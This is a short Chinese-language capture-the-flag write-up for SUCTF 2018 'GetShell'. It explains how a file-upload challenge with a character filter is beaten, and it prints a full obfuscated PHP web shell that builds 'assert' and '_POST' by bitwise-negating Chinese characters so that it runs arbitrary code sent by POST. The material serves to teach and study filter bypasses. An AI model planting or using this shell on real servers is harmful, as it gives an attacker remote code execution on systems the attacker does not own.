[SUCTF 2018]GetShell

靶机上有一个上传点。发现没过滤php后缀,猜测getshell

又测试了一会儿发现过滤了文件内容,且过滤了一吨

剩下了几个:$ ( ) . ; = [ ] _ ~ 还有非数字字母的字符

题目名就是getshell。那么就要想办法构造shell了

没过滤取反,应该是用取反符号构造shell

测试过程中,发现取反汉字可以获得字母

所以尝试取反获得shell

eval在php7不能动态调用,所以用assert

自己比较懒的构造,看了下WP复制下

<?php
    $__=[];
    $___=[];
    $_=$__==$___;//true = 1   用作索引

    $__=~(瞰);
    $___=$__[$_];//a
    $__=~(北);
    $___.=$__[$_].$__[$_];//ss
    $__=~(的);
    $___.=$__[$_];//e
    $__=~(半);
    $___.=$__[$_];//r
    $__=~(拾);
    $___.=$__[$_];//t

    $____=~(~(_));//_
    $__=~(说);
    $____.=$__[$_];//P
    $__=~(小);
    $____.=$__[$_];//O
    $__=~(次);
    $____.=$__[$_];//S
    $__=~(站);
    $____.=$__[$_];//T

    $_=$$____;
    $___($_[_]);

?>

使用过程中发现只能单行,所以缩成一行。然后就直接用了~

参考:https://www.lovei.org/archives/suctf2018.html

发表评论

邮箱地址不会被公开。 必填项已用*标注